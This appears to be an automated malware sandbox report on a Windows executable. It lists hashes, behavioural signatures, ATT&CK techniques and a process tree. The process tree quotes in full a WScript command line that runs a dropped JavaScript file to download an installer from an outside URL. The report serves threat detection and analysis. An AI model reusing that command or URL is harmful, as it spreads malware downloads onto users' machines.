d405b115d0ad09642feba86a2bb090bcab367cd485208f12d24da85f6bc0e75c

General

Target

34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe
Size

184KB
MD5

34468ed13872fdebbfbdb29970ac83b7
SHA1

33b3107ab58ac701523e5b9c3e020d7eeb5591aa
SHA256

d405b115d0ad09642feba86a2bb090bcab367cd485208f12d24da85f6bc0e75c
SHA512

5d4b2e5ef6c25e6e5b6161b1b6b30241db33671e3c064fe8b418c7c574cd84c6e8d80f122d7ab89fde6e30c4bd8e0384ce5e8a444c431f6d023cee382ae7b548
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3F6:/7BSH8zUB+nGESaaRvoB7FJNndnA6

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

Processes:

WScript.exeWScript.exeWScript.exeWScript.exeWScript.exe

flow pid process

5 4088 WScript.exe
43 64 WScript.exe
45 868 WScript.exe
46 868 WScript.exe
61 5024 WScript.exe
64 1304 WScript.exe

flow	pid	process
5	4088	WScript.exe
43	64	WScript.exe
45	868	WScript.exe
46	868	WScript.exe
61	5024	WScript.exe
64	1304	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000\Control Panel\International\Geo\Nation	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

Processes:

34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3906287020-2915474608-1755617787-1000_Classes\Local Settings	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe

description	pid	process	target process
PID 1300 wrote to memory of 4088	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 4088	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 4088	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 64	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 64	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 64	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 868	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 868	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 868	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 5024	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 5024	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 5024	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 1304	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 1304	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe
PID 1300 wrote to memory of 1304	1300	34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe	WScript.exe

C:\Users\Admin\AppData\Local\Temp\34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\34468ed13872fdebbfbdb29970ac83b7_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1300

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf45C3.js" http://www.djapp.info/?domain=yDWNGeKNSS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf45C3.exe
2⤵
- Blocklisted process makes network request
PID:4088

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf45C3.js" http://www.djapp.info/?domain=yDWNGeKNSS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf45C3.exe
2⤵
- Blocklisted process makes network request
PID:64

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf45C3.js" http://www.djapp.info/?domain=yDWNGeKNSS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf45C3.exe
2⤵
- Blocklisted process makes network request
PID:868

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf45C3.js" http://www.djapp.info/?domain=yDWNGeKNSS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf45C3.exe
2⤵
- Blocklisted process makes network request
PID:5024

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf45C3.js" http://www.djapp.info/?domain=yDWNGeKNSS.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf45C3.exe
2⤵
- Blocklisted process makes network request
PID:1304

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

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Downloads

C:\Users\Admin\AppData\Local\Temp\fuf45C3.js
Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

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